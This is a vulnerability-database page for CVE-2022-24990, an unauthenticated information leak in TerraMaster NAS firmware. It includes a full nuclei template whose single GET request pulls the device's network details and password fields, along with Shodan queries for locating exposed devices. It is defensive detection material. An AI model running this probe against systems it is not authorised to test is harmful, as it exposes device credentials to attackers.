HexBrain

Browse / CVEs / CVE-2022-24990

CVE-2022-24990· terra-master / terramaster operating system· CWE-306

TerraMaster TOS < 4.2.30 Server Information Disclosure

Exploited in the wild. Listed by CISA on 2023-02-10; known to be used by ransomware.

highseverity
7.5CVSS score
83.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure.

Impact

An attacker can exploit this vulnerability to gain sensitive information about the server, potentially leading to further attacks.

Fix

Upgrade the TerraMaster TOS server to version 4.2.30 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/module/api.php?mobile/webNasIPS
Positive when: contains in header "application/json" and "TerraMaster" AND matches /webNasIPS successful/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-24990 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-24990

info:
  name: TerraMaster TOS < 4.2.30 Server Information Disclosure
  author: dwisiswant0
  severity: high
  description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information about the server, potentially leading to further attacks.
  remediation: |
    Upgrade the TerraMaster TOS server to version 4.2.30 or later to mitigate the vulnerability.
  reference:
    - https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/
    - https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=33732
    - https://forum.terra-master.com/en/viewforum.php?f=28
    - http://packetstormsecurity.com/files/172904/TerraMaster-TOS-4.2.29-Remote-Code-Execution.html
    - https://github.com/ArrestX/--POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-24990
    cwe-id: CWE-306
    epss-score: 0.83166
    epss-percentile: 0.9968
    cpe: cpe:2.3:o:terra-master:terramaster_operating_system:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: terra-master
    product: terramaster_operating_system
    shodan-query:
      - "TerraMaster"
      - terramaster
  tags: cve,cve2022,packetstorm,terramaster,exposure,kev,terra-master,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/module/api.php?mobile/webNasIPS"

    headers:
      User-Agent: "TNAS"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"
          - "TerraMaster"
        condition: and

      - type: regex
        part: body
        regex:
          - "webNasIPS successful"
          - "(ADDR|(IFC|PWD|[DS]AT)):"
          - "\"((firmware|(version|ma(sk|c)|port|url|ip))|hostname)\":"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from